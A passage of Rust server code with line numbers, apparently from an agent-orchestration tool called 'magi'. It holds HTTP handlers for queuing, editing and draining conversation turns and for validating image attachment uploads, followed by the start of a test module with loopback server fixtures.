5897 return Err(ApiError::conflict(
5898 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5899 ));
5900 }
5901 TalkTurnStart::Busy => {
5902 let (tx, rx) = tokio::sync::oneshot::channel();
5918 tokio::spawn({
5919 let ui = Arc::clone(&ui);
5920 let id = id.clone();
5921 let said = body.text.clone();
5922 async move {
5923 let written = blocking({
5924 let ui = Arc::clone(&ui);
5925 let id = id.clone();
5926 move || {
5927 let mut talk = ui.talks.get(&id)?;
5928 #[cfg(test)]
5933 if let Some(gate) = ui
5934 .busy_queue_gate
5935 .lock()
5936 .unwrap_or_else(PoisonError::into_inner)
5937 .take()
5938 {
5939 let _ = gate.reached.send(());
5940 let _ = gate.release.recv();
5941 }
5942 if let Err(error) =
5943 talk::queue(&mut talk, &ui.talks, &said, attachments)
5944 {
5945 if let Ok(fresh) = ui.talks.get(&id) {
5946 if !fresh.status.open() {
5947 return Err(ApiError::conflict(format!(
5948 "talk {} is {} and takes no more turns",
5949 fresh.short(),
5950 fresh.status.as_str()
5951 )));
5952 }
5953 }
5954 return Err(ApiError::from(error));
5955 }
5956 let claim = match ui.begin_queued_talk_turn(&id)? {
5967 Some(turn_guard) => {
5968 let (cfg, _) = Config::discover(&talk.repo, None)?;
5969 Some((talk.clone(), cfg, turn_guard))
5970 }
5971 None => None,
5972 };
5973 let thinking = ui.is_thinking(&id);
5974 Ok((TalkView::new(talk, thinking), claim))
5975 }
5976 })
5977 .await;
5978 let (view, reclaimed) = match written {
5979 Ok(pair) => pair,
5980 Err(e) => {
5981 let _ = tx.send(Err(e));
5986 return;
5987 }
5988 };
5989 let _ = tx.send(Ok(view));
5992 if let Some((talk, cfg, turn_guard)) = reclaimed {
5993 let talks = ui.talks.clone();
5994 drain_loop(talk, talks, cfg, id, turn_guard).await;
5995 }
5996 }
5997 });
5998 let view = rx
5999 .await
6000 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6001 return Ok((StatusCode::ACCEPTED, Json(view)));
6002 }
6003 };
6004
6005 let (talk, cfg) = {
6006 let ui = Arc::clone(&ui);
6007 let id = id.clone();
6008 blocking(move || {
6009 let talk = ui.talks.get(&id)?;
6010 let (cfg, _) = Config::discover(&talk.repo, None)?;
6011 Ok((talk, cfg))
6012 })
6013 .await?
6014 };
6015
6016 let talks = ui.talks.clone();
6017 let (tx, rx) = tokio::sync::oneshot::channel();
6032 tokio::spawn({
6033 let ui = Arc::clone(&ui);
6034 let talks = talks.clone();
6035 let id = id.clone();
6036 let said = body.text.clone();
6037 let mut talk = talk.clone();
6038 async move {
6039 let recorded = blocking({
6040 let talks = talks.clone();
6041 move || {
6042 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6043 if let Ok(fresh) = talks.get(&talk.id) {
6044 if !fresh.status.open() {
6045 return Err(ApiError::conflict(format!(
6046 "talk {} is {} and takes no more turns",
6047 fresh.short(),
6048 fresh.status.as_str()
6049 )));
6050 }
6051 }
6052 return Err(ApiError::from(error));
6053 }
6054 Ok((said.trim().to_owned(), talk))
6060 }
6061 })
6062 .await;
6063 let (text, mut talk) = match recorded {
6064 Ok(pair) => pair,
6065 Err(e) => {
6066 let _ = tx.send(Err(e));
6070 return;
6071 }
6072 };
6073 let queued = talk.clone();
6074 let thinking = ui.is_thinking(&id);
6075 let _ = tx.send(Ok((queued, thinking)));
6078
6079 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6080 tracing::warn!("talk {id} turn failed: {e:#}");
6084 }
6085 drain_loop(talk, talks, cfg, id, turn_guard).await;
6088 }
6089 });
6090
6091 let (queued, thinking) = rx
6092 .await
6093 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6094
6095 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6097}
6098
6099async fn talk_pending_resume(
6103 State(ui): State<Arc<Ui>>,
6104 Path(id): Path<String>,
6105) -> ApiResult<(StatusCode, Json<TalkView>)> {
6106 let id = {
6107 let ui = Arc::clone(&ui);
6108 let asked = id.clone();
6109 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6110 };
6111 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6112 return Err(ApiError::conflict(
6113 "a talk turn is already running; the queued draft will be handled by it",
6114 ));
6115 };
6116 let (talk, cfg) = {
6117 let ui = Arc::clone(&ui);
6118 let id = id.clone();
6119 blocking(move || {
6120 let talk = ui.talks.get(&id)?;
6121 if !talk.status.open() {
6122 return Err(ApiError::conflict(format!(
6123 "talk {} is {} and takes no more turns",
6124 talk.short(),
6125 talk.status.as_str()
6126 )));
6127 }
6128 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6129 return Err(ApiError::conflict("there is no queued draft to resume"));
6130 }
6131 let (cfg, _) = Config::discover(&talk.repo, None)?;
6132 Ok((talk, cfg))
6133 })
6134 .await?
6135 };
6136 let view = TalkView::new(talk.clone(), true);
6137 let talks = ui.talks.clone();
6138 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6139 Ok((StatusCode::ACCEPTED, Json(view)))
6140}
6141
6142async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6158 let live_set = Arc::clone(&turn.turns);
6159 let mut turn = Some(turn);
6167 loop {
6168 let observed = live_set
6172 .lock()
6173 .unwrap_or_else(PoisonError::into_inner)
6174 .queued
6175 .get(&id)
6176 .copied()
6177 .unwrap_or(0);
6178 let drained = blocking({
6179 let talks = talks.clone();
6180 move || {
6181 let result = talk::drain(&mut talk, &talks);
6182 Ok((talk, result))
6183 }
6184 })
6185 .await;
6186 let (next_talk, result) = match drained {
6187 Ok(drained) => drained,
6188 Err(e) => {
6189 tracing::warn!(
6190 status = %e.status,
6191 message = %e.message,
6192 "talk {id} could not start queued-text drain"
6193 );
6194 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6195 turn.take()
6196 .expect("held for the whole loop until released here")
6197 .release(&mut live);
6198 break;
6199 }
6200 };
6201 talk = next_talk;
6202 let drained = match result {
6203 Ok(Some(drained)) => drained,
6204 Ok(None) => {
6205 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6206 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6207 continue;
6208 }
6209 turn.take()
6210 .expect("held for the whole loop until released here")
6211 .release(&mut live);
6212 break;
6213 }
6214 Err(e) => {
6215 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6216 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6217 turn.take()
6218 .expect("held for the whole loop until released here")
6219 .release(&mut live);
6220 break;
6221 }
6222 };
6223 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6224 tracing::warn!("talk {id} turn failed: {e:#}");
6225 }
6226 }
6227}
6228
6229async fn talk_pending_clear(
6231 State(ui): State<Arc<Ui>>,
6232 Path(id): Path<String>,
6233 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6234) -> ApiResult<Json<TalkView>> {
6235 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6236 blocking(move || {
6237 let id = resolve_talk(&ui.talks, &id)?;
6238 let mut talk = ui.talks.get(&id)?;
6239 if !talk.status.open() {
6240 return Err(ApiError::conflict(format!(
6241 "talk {} is {} and takes no more turns",
6242 talk.short(),
6243 talk.status.as_str()
6244 )));
6245 }
6246 if !talk::clear_pending_if_matches(
6247 &mut talk,
6248 &ui.talks,
6249 &body.expected_text,
6250 &body.expected_attachments,
6251 )? {
6252 return Err(ApiError::conflict(
6253 "queued message changed; reload it before clearing",
6254 ));
6255 }
6256 let thinking = ui.is_thinking(&talk.id);
6257 Ok(Json(TalkView::new(talk, thinking)))
6258 })
6259 .await
6260}
6261
6262async fn talk_pending_edit(
6266 State(ui): State<Arc<Ui>>,
6267 Path(id): Path<String>,
6268 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6269) -> ApiResult<Json<TalkView>> {
6270 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6271 let (view, reclaimed) = blocking({
6272 let ui = Arc::clone(&ui);
6273 move || {
6274 let id = resolve_talk(&ui.talks, &id)?;
6275 let mut talk = ui.talks.get(&id)?;
6276 if !talk.status.open() {
6277 return Err(ApiError::conflict(format!(
6278 "talk {} is {} and takes no more turns",
6279 talk.short(),
6280 talk.status.as_str()
6281 )));
6282 }
6283 if !talk::edit_pending_text(
6284 &mut talk,
6285 &ui.talks,
6286 &body.text,
6287 &body.expected_text,
6288 &body.expected_attachments,
6289 )? {
6290 return Err(ApiError::conflict(
6291 "queued message changed; reload it before editing",
6292 ));
6293 }
6294 let claim = match ui.begin_queued_talk_turn(&id)? {
6295 Some(turn_guard) => {
6296 let (cfg, _) = Config::discover(&talk.repo, None)?;
6297 Some((talk.clone(), cfg, id.clone(), turn_guard))
6298 }
6299 None => None,
6300 };
6301 let thinking = ui.is_thinking(&id);
6302 Ok((TalkView::new(talk, thinking), claim))
6303 }
6304 })
6305 .await?;
6306 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6307 let talks = ui.talks.clone();
6308 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6309 }
6310 Ok(Json(view))
6311}
6312
6313#[derive(Debug, Deserialize)]
6315struct TalkAgent {
6316 agent: String,
6317}
6318
6319async fn talk_agent(
6324 State(ui): State<Arc<Ui>>,
6325 Path(id): Path<String>,
6326 Json(body): Json<TalkAgent>,
6327) -> ApiResult<Json<TalkView>> {
6328 let id = {
6329 let ui = Arc::clone(&ui);
6330 blocking(move || resolve_talk(&ui.talks, &id)).await?
6331 };
6332 let repo = {
6333 let ui = Arc::clone(&ui);
6334 let id = id.clone();
6335 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6336 };
6337 let cfg = config_for(&repo).await?;
6338 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6339 return Err(ApiError::conflict(
6340 "a talk turn is running; change the agent once it has answered",
6341 ));
6342 };
6343 let switched = {
6344 let ui = Arc::clone(&ui);
6345 let id = id.clone();
6346 let cfg = cfg.clone();
6347 blocking(move || {
6348 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6349 .map_err(ApiError::bad_request_from)?;
6350 let mut talk = ui.talks.get(&id)?;
6351 if !talk.status.open() {
6352 return Err(ApiError::conflict(format!(
6353 "talk {} is {} and takes no more turns",
6354 talk.short(),
6355 talk.status.as_str()
6356 )));
6357 }
6358 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6359 Ok(talk)
6360 })
6361 .await
6362 };
6363 let fresh = {
6368 let ui = Arc::clone(&ui);
6369 let id = id.clone();
6370 blocking(move || Ok(ui.talks.get(&id)?)).await
6371 };
6372 let draining = match fresh {
6373 Ok(talk) => {
6374 let draining = talk.status.open()
6375 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6376 let talks = ui.talks.clone();
6377 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6378 draining
6379 }
6380 Err(_) => false,
6381 };
6382 let talk = switched?;
6383 Ok(Json(TalkView::new(talk, draining)))
6384}
6385
6386async fn talk_close(
6388 State(ui): State<Arc<Ui>>,
6389 Path(id): Path<String>,
6390) -> ApiResult<Json<TalkView>> {
6391 blocking(move || {
6392 let id = resolve_talk(&ui.talks, &id)?;
6393 let mut talk = ui.talks.get(&id)?;
6394 talk::close(&mut talk, &ui.talks)?;
6395 let thinking = ui.is_thinking(&talk.id);
6396 Ok(Json(TalkView::new(talk, thinking)))
6397 })
6398 .await
6399}
6400
6401async fn talk_reopen(
6403 State(ui): State<Arc<Ui>>,
6404 Path(id): Path<String>,
6405) -> ApiResult<Json<TalkView>> {
6406 blocking(move || {
6407 let id = resolve_talk(&ui.talks, &id)?;
6408 let mut talk = ui.talks.get(&id)?;
6409 talk::reopen(&mut talk, &ui.talks)?;
6410 let thinking = ui.is_thinking(&talk.id);
6411 Ok(Json(TalkView::new(talk, thinking)))
6412 })
6413 .await
6414}
6415
6416async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6426 blocking(move || {
6427 let id = resolve_talk(&ui.talks, &id)?;
6428 ui.talks.remove(&id)?;
6429 Ok(StatusCode::NO_CONTENT)
6430 })
6431 .await
6432}
6433
6434fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6436 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6437}
6438
6439async fn talk_attachment_post(
6442 State(ui): State<Arc<Ui>>,
6443 Path(id): Path<String>,
6444 headers: HeaderMap,
6445 body: Bytes,
6446) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6447 let mime = validate_attachment(&headers, &body)?;
6448 let name = filename_header(&headers);
6449 let data = body.to_vec();
6450 blocking(move || {
6451 let id = resolve_talk(&ui.talks, &id)?;
6452 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6453 Ok((StatusCode::CREATED, Json(att)))
6454 })
6455 .await
6456}
6457
6458async fn talk_attachment_get(
6461 State(ui): State<Arc<Ui>>,
6462 Path((id, att)): Path<(String, String)>,
6463) -> ApiResult<Response> {
6464 blocking(move || {
6465 let id = resolve_talk(&ui.talks, &id)?;
6466 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6467 return Err(ApiError::not_found(format!(
6468 "talk {id} has no attachment `{att}`"
6469 )));
6470 };
6471 Ok(attachment_response(&meta.mime, data))
6472 })
6473 .await
6474}
6475
6476fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6487 if data.len() > ATTACHMENT_MAX_BYTES {
6488 return Err(ApiError::bad_request(format!(
6489 "attachment is {} bytes, over the {} MiB limit",
6490 data.len(),
6491 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6492 ))
6493 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6494 }
6495 if data.is_empty() {
6496 return Err(ApiError::bad_request("attachment is empty"));
6497 }
6498 let declared = declared_mime(headers)?;
6499 match sniffed_mime(data) {
6500 Some(sniffed) if sniffed == declared => Ok(declared),
6501 Some(sniffed) => Err(ApiError::bad_request(format!(
6502 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6503 ))),
6504 None => Err(ApiError::bad_request(
6505 "the file's bytes do not match any accepted image format",
6506 )),
6507 }
6508}
6509
6510fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6514 let raw = headers
6515 .get(header::CONTENT_TYPE)
6516 .and_then(|v| v.to_str().ok())
6517 .unwrap_or("")
6518 .split(';')
6519 .next()
6520 .unwrap_or("")
6521 .trim()
6522 .to_ascii_lowercase();
6523 ATTACHMENT_MIME_WHITELIST
6524 .iter()
6525 .find(|&&m| m == raw)
6526 .copied()
6527 .ok_or_else(|| {
6528 if raw == "image/svg+xml" {
6529 ApiError::bad_request(
6530 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6531 not just a picture",
6532 )
6533 } else if raw.is_empty() {
6534 ApiError::bad_request("Content-Type is required for an attachment upload")
6535 } else {
6536 ApiError::bad_request(format!(
6537 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6538 image/gif or image/webp"
6539 ))
6540 }
6541 })
6542}
6543
6544fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6547 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6548 Some("image/png")
6549 } else if data.starts_with(b"\xff\xd8\xff") {
6550 Some("image/jpeg")
6551 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6552 Some("image/gif")
6553 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6554 Some("image/webp")
6555 } else {
6556 None
6557 }
6558}
6559
6560fn filename_header(headers: &HeaderMap) -> String {
6566 headers
6567 .get(FILENAME_HEADER)
6568 .and_then(|v| v.to_str().ok())
6569 .map(str::trim)
6570 .filter(|s| !s.is_empty())
6571 .unwrap_or("attachment")
6572 .to_owned()
6573}
6574
6575fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6582 let content_type = ATTACHMENT_MIME_WHITELIST
6583 .iter()
6584 .find(|&&m| m == mime)
6585 .copied()
6586 .unwrap_or("application/octet-stream");
6587 (
6588 [
6589 (header::CONTENT_TYPE, content_type),
6590 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6591 ],
6592 body,
6593 )
6594 .into_response()
6595}
6596
6597async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6605 let repo = repo.to_path_buf();
6606 blocking(move || {
6607 let (cfg, _) = Config::discover(&repo, None)?;
6608 Ok(cfg)
6609 })
6610 .await
6611}
6612
6613fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6619 let mut hits = ids
6620 .into_iter()
6621 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6622 match (hits.next(), hits.next()) {
6623 (Some(one), None) => Ok(one),
6624 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6625 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6626 "`{prefix}` matches more than one {what}, including {a} and {b}"
6627 ))),
6628 }
6629}
6630
6631#[cfg(test)]
6632mod tests {
6633
6634 #[test]
6635 fn holder_reads_the_lease_not_the_record() {
6636 let mut q = Question::new(
6637 "run".to_owned(),
6638 "implement".to_owned(),
6639 "impl-A".to_owned(),
6640 "which?".to_owned(),
6641 String::new(),
6642 Vec::new(),
6643 );
6644 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6645 q.cwd = Some("/tmp".to_owned());
6646 assert_eq!(holder_of(&q, None), Some("nobody"));
6647 let beat = |kind, ago: i64| ask::Lease {
6648 kind,
6649 pid: 1,
6650 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6651 .unwrap(),
6652 };
6653 let fresh = beat(ask::WaiterKind::Asker, 1);
6654 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6655 let daemon = beat(ask::WaiterKind::Daemon, 1);
6656 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6657 let stale = beat(ask::WaiterKind::Asker, 3600);
6658 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6659
6660 let mut c = Question::new(
6663 "task".to_owned(),
6664 crate::conduct::NODE.to_owned(),
6665 "conduct".to_owned(),
6666 "which?".to_owned(),
6667 String::new(),
6668 Vec::new(),
6669 );
6670 assert_eq!(holder_of(&c, None), Some("nobody"));
6671 c.cwd = Some("/tmp".to_owned());
6672 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6673 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6674 let deputy = beat(ask::WaiterKind::Deputy, 1);
6675 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6676 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6677
6678 let mut r = Question::new(
6680 String::new(),
6681 crate::bump::NOTICE_NODE.to_owned(),
6682 "release-watch".to_owned(),
6683 "stuck?".to_owned(),
6684 String::new(),
6685 vec!["hold".to_owned()],
6686 );
6687 assert_eq!(holder_of(&r, None), Some("nobody"));
6688 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6689 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6690 r.deputy = None;
6692 r.seat = "bump".to_owned();
6693 assert_eq!(holder_of(&r, None), None);
6694
6695 let mut m = Question::new(
6698 "run".to_owned(),
6699 crate::land::APPROVAL_NODE.to_owned(),
6700 "land".to_owned(),
6701 "merge?".to_owned(),
6702 String::new(),
6703 Vec::new(),
6704 );
6705 assert_eq!(holder_of(&m, None), Some("nobody"));
6706 assert_eq!(
6707 holder_of(&m, Some(&fresh)),
6708 Some("nobody"),
6709 "a lease with no deputy is not a listener"
6710 );
6711 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6712 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6713 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6714 assert_eq!(holder_of(&m, None), Some("nobody"));
6715 }
6716
6717 fn stub_config() -> Config {
6718 Config {
6721 agents: vec![crate::config::AgentSpec {
6722 id: "stub".to_owned(),
6723 kind: AgentKind::Command,
6724 model: None,
6725 command: vec!["true".to_owned()],
6726 extra_args: Vec::new(),
6727 env: Default::default(),
6728 prompt_delivery: None,
6729 }],
6730 ..Config::default()
6731 }
6732 }
6733
6734 fn plain_question(seat: &str) -> Question {
6735 Question::new(
6736 String::new(),
6737 "n".to_owned(),
6738 seat.to_owned(),
6739 "s".to_owned(),
6740 String::new(),
6741 Vec::new(),
6742 )
6743 }
6744
6745 #[test]
6746 fn deputies_enabled_follows_the_config() {
6747 let on = stub_config();
6748 assert!(crate::deputy::can_start(Some(&on), ""));
6749 assert!(crate::deputy::can_start(Some(&on), "stub"));
6750 let mut off = on.clone();
6751 off.daemon.max_deputies = 0;
6752 assert!(!crate::deputy::can_start(Some(&off), ""));
6753 let mut empty = on;
6754 empty.agents.clear();
6755 assert!(!crate::deputy::can_start(Some(&empty), ""));
6756 assert!(!crate::deputy::can_start(None, ""));
6757 }
6758
6759 #[test]
6760 fn question_views_load_the_config_once() {
6761 let dir = TempDir::new().unwrap();
6762 let store = ask::Questions::at(dir.path().to_path_buf());
6763 let mut with_deputy = plain_question("b");
6764 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6765 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6766
6767 let calls = std::cell::Cell::new(0usize);
6768 let views = question_views(qs.clone(), &store, || {
6769 calls.set(calls.get() + 1);
6770 Some(stub_config())
6771 });
6772 assert_eq!(calls.get(), 1);
6773 assert_eq!(views.len(), 3);
6774 for (v, q) in views.iter().zip(&qs) {
6775 assert_eq!(
6776 v.deputies_enabled,
6777 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6778 );
6779 }
6780
6781 let views = question_views(qs, &store, || None);
6782 assert!(views.iter().all(|v| !v.deputies_enabled));
6783
6784 let calls = std::cell::Cell::new(0usize);
6785 let views = question_views(Vec::new(), &store, || {
6786 calls.set(calls.get() + 1);
6787 None
6788 });
6789 assert!(views.is_empty());
6790 assert_eq!(calls.get(), 0);
6791 }
6792
6793 use pretty_assertions::assert_eq;
6794 use serde_json::Value;
6795 use tempfile::TempDir;
6796 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6797
6798 use super::*;
6799 use crate::config::Config;
6800 use crate::queue::Source;
6801
6802 const SETTLE_STEPS: usize = 3_000;
6813
6814 struct Fixture {
6820 home: TempDir,
6821 addr: SocketAddr,
6822 }
6823
6824 impl Fixture {
6825 async fn start() -> Self {
6826 Self::with_loop(launch_idle).await
6827 }
6828
6829 async fn with_loop(launch: Launch) -> Self {
6831 let home = TempDir::new().expect("temp home");
6832 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6833 Self { home, addr }
6834 }
6835
6836 async fn with_repo(repo: PathBuf) -> Self {
6840 let home = TempDir::new().expect("temp home");
6841 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6842 Self { home, addr }
6843 }
6844
6845 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6848 let home = TempDir::new().expect("temp home");
6849 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6850 Self { home, addr }
6851 }
6852
6853 async fn serve(
6854 home: &FsPath,
6855 repo: PathBuf,
6856 launch: Launch,
6857 machine: Option<PathBuf>,
6858 ) -> SocketAddr {
6859 let queue = Queue::at(home.join("queue"));
6860 let runs = home.join("runs");
6861 std::fs::create_dir_all(&runs).expect("runs dir");
6862 let worktrees = home.join("wt").join("magi");
6863 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6864 let ui = Ui::new(
6865 queue,
6866 Questions::at(home.join("questions")),
6867 Talks::at(home.join("talks")),
6868 runs,
6869 home.to_path_buf(),
6870 repo,
6871 )
6872 .with_worktrees_root(worktrees)
6873 .with_machine_config(machine)
6874 .with_launch(launch);
6875 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6876 .await
6877 .expect("bind loopback");
6878 let addr = listener.local_addr().expect("local addr");
6879 tokio::spawn(async move {
6880 let _ = axum::serve(listener, ui.router()).await;
6881 });
6882 addr
6883 }
6884
6885 fn queue(&self) -> Queue {
6886 Queue::at(self.home.path().join("queue"))
6887 }
6888
6889 fn questions(&self) -> Questions {
6890 Questions::at(self.home.path().join("questions"))
6891 }
6892
6893 fn talks(&self) -> Talks {
6894 Talks::at(self.home.path().join("talks"))
6895 }
6896
6897 fn runs(&self) -> PathBuf {
6898 self.home.path().join("runs")
6899 }
6900
6901 async fn get(&self, path: &str) -> Res {
6902 request(self.addr, "GET", path, None).await
6903 }
6904
6905 async fn head(&self, path: &str) -> Res {
6910 request(self.addr, "HEAD", path, None).await
6911 }
6912
6913 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6914 request(self.addr, "POST", path, body).await
6915 }
6916
6917 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6918 request_with(self.addr, "GET", path, None, extra).await
6919 }
6920
6921 async fn delete(&self, path: &str) -> Res {
6922 request(self.addr, "DELETE", path, None).await
6923 }
6924
6925 async fn put(&self, path: &str, body: &str) -> Res {
6926 request(self.addr, "PUT", path, Some(body)).await
6927 }
6928
6929 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6931 request_bytes(self.addr, path, headers, body).await
6932 }
6933 }
6934
6935 struct Res {
6936 status: u16,
6937 headers: String,
6938 head: String,
6943 body: String,
6944 bytes: Vec<u8>,
6948 }
6949
6950 impl Res {
6951 fn json(&self) -> Value {
6952 serde_json::from_str(&self.body)
6953 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6954 }
6955
6956 fn header(&self, name: &str) -> Option<&str> {
6958 self.head.lines().find_map(|line| {
6959 let (key, value) = line.split_once(':')?;
6960 key.trim()
6961 .eq_ignore_ascii_case(name)
6962 .then(|| value.trim_start().trim_end_matches('\r'))
6963 })
6964 }
6965 }
6966
6967 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6970 request_with(addr, method, path, body, &[]).await
6971 }
6972
6973 async fn request_with(
6977 addr: SocketAddr,
6978 method: &str,
6979 path: &str,
6980 body: Option<&str>,
6981 extra: &[(&str, &str)],
6982 ) -> Res {
6983 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6984 for (name, value) in extra {
6985 head.push_str(&format!("{name}: {value}\r\n"));
6986 }
6987 if let Some(body) = body {
6988 head.push_str("Content-Type: application/json\r\n");
6989 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6990 }
6991 head.push_str("\r\n");
6992 if let Some(body) = body {
6993 head.push_str(body);
6994 }
6995 let mut socket = tokio::net::TcpStream::connect(addr)
6996 .await
6997 .expect("connect to the test server");
6998 socket
6999 .write_all(head.as_bytes())
7000 .await
7001 .expect("write request");
7002 let mut raw = Vec::new();
7003 socket.read_to_end(&mut raw).await.expect("read response");
7004 let split = raw
7007 .windows(4)
7008 .position(|w| w == b"\r\n\r\n")
7009 .expect("a header block");
7010 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7011 let bytes = raw[split + 4..].to_vec();
7012 let status = head
7013 .lines()
7014 .next()
7015 .and_then(|line| line.split_whitespace().nth(1))
7016 .and_then(|code| code.parse().ok())
7017 .expect("a status line");
7018 Res {
7019 status,
7020 headers: head.to_lowercase(),
7021 head,
7022 body: String::from_utf8_lossy(&bytes).into_owned(),
7023 bytes,
7024 }
7025 }
7026
7027 async fn request_bytes(
7033 addr: SocketAddr,
7034 path: &str,
7035 headers: &[(&str, &str)],
7036 body: &[u8],
7037 ) -> Res {
7038 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7039 for (name, value) in headers {
7040 head.push_str(&format!("{name}: {value}\r\n"));
7041 }
7042 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7043 let mut socket = tokio::net::TcpStream::connect(addr)
7044 .await
7045 .expect("connect to the test server");
7046 socket
7047 .write_all(head.as_bytes())
7048 .await
7049 .expect("write request head");
7050 socket.write_all(body).await.expect("write request body");
7051 let mut raw = Vec::new();
7052 socket.read_to_end(&mut raw).await.expect("read response");
7053 let split = raw
7054 .windows(4)
7055 .position(|w| w == b"\r\n\r\n")
7056 .expect("a header block");
7057 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7058 let bytes = raw[split + 4..].to_vec();
7059 let status = head
7060 .lines()
7061 .next()
7062 .and_then(|line| line.split_whitespace().nth(1))
7063 .and_then(|code| code.parse().ok())
7064 .expect("a status line");
7065 Res {
7066 status,
7067 headers: head.to_lowercase(),
7068 head,
7069 body: String::from_utf8_lossy(&bytes).into_owned(),
7070 bytes,
7071 }
7072 }
7073
7074 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7076 let mut state = RunState::new(
7077 PathBuf::from("/repo/magi"),
7078 "main".to_owned(),
7079 "0123456789abcdef".to_owned(),
7080 "Add a web UI\n\nMobile first.".to_owned(),
7081 Config::default(),
7082 );
7083 state.id = id.to_owned();
7084 state.status = status;
7085 let dir = runs.join(id);
7086 std::fs::create_dir_all(&dir).expect("run dir");
7087 std::fs::write(
7088 dir.join("run.json"),
7089 serde_json::to_string_pretty(&state).expect("serialize run"),
7090 )
7091 .expect("write run.json");
7092 }
7093
7094 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7098 let mut state = RunState::new(
7099 PathBuf::from(repo),
7100 "main".to_owned(),
